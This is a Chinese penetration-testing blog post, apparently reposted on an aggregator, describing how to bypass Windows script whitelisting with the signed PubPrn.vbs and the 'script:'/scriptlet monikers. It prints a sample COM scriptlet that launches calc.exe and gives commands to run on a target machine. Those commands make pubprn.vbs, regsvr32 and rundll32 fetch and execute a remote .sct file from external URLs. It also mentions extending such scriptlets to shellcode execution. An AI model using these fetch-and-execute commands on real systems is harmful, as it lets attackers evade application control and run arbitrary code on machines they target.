利用script和scriptlet moniker绕过脚本白名单限制
Posted 渗透测试中心
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用script和scriptlet moniker绕过脚本白名单限制相关的知识,希望对你有一定的参考价值。
没事儿看了一下subtee和enigma0x3今年在BSides Nashville 2017上的演讲,觉得这两个猥琐男简直不能再猥琐了 :-)其中有一个猥琐小技巧,又可以让我们好好hunting一番了。我这里先简单介绍一下吧:
在很多时候我们发现我们在目标机器环境里想要运行个js或者vbs脚本很困难,原因就是因为好多环境里使用了白名单限制机制只允许特定签名的脚本文件可以执行。在这样的环境里,我们应该怎么样去执行这些脚本呢?
首先在windows 7以上系统中,有这样一个目录:c:\\windows\\system32\\printing_admin_scripts\\, 在这个目录下面会有一个文件夹,此文件夹的命名会根据系统的语言版本而有所不同(中文系统下是 zh-cn, 而英文为 en-US等),在这个文件夹下会有一些系统自带的vbs脚本,这些脚本都是有着微软签名的,也就是说肯定可以执行的。
在这些文件中,有一个文件叫做PubPrn.vbs,这个文件的代码中有这么几行:
这个脚本执行的时候会接受两个参数,第一个参数是一个网络地址,我们可以忽略它,随便填一个就ok。第二个参数会被传递给GetObject方法,而这个方法可以使用script和scriptlet 这两个moniker直接指定一个网络地址。因此利用方法如下:
编写如下测试脚本,并上传到一个web server上:
COM Scriptlet的示例
test.wsc:(这里是测试的一个弹出计算器的脚本)
<?xml version="1.0"?> <package> <component id="testCalc"> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </component> </package>
您还可以使用James Forshaw(@tiraniddo)的工具DotNetToJScript中COM Scriptlet中扩展JScript / VBScript,允许Win32 API访问,甚至Shellcode执行。
然后在目标机器上执行如下命令:
cscript /b C:\\Windows\\System32\\Printing_Admin_Scripts\\zh-CN\\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
或者:
C:\\Windows\\System32\\Printing_Admin_Scripts\\zh-CN\\pubprn.vbs 127.0.0.1 "script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
由于VBScript依靠COM来执行操作,因此它在许多Microsoft签名的脚本中被大量使用。虽然这只是一个例子,但一定会有其他可以以类似的方式被利用
附上sct其他姿势技巧:
regsvr32 /s /u /n /i:cacl.sct scrobj.dll
regsvr32 /s /u /n /i:http://ys-h.ys168.com/581339150/k4M1K75557NMJVJgWw6/cacl.sct c:\\windows\\SysWOW64\\scrobj.dll
rundll32远程执行:
rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct");this.close()
以上是关于利用script和scriptlet moniker绕过脚本白名单限制的主要内容,如果未能解决你的问题,请参考以下文章
我可以将变量从 JSP scriptlet 传递给 JSTL,但不能从 JSTL 传递给 JSP scriptlet 而不会出错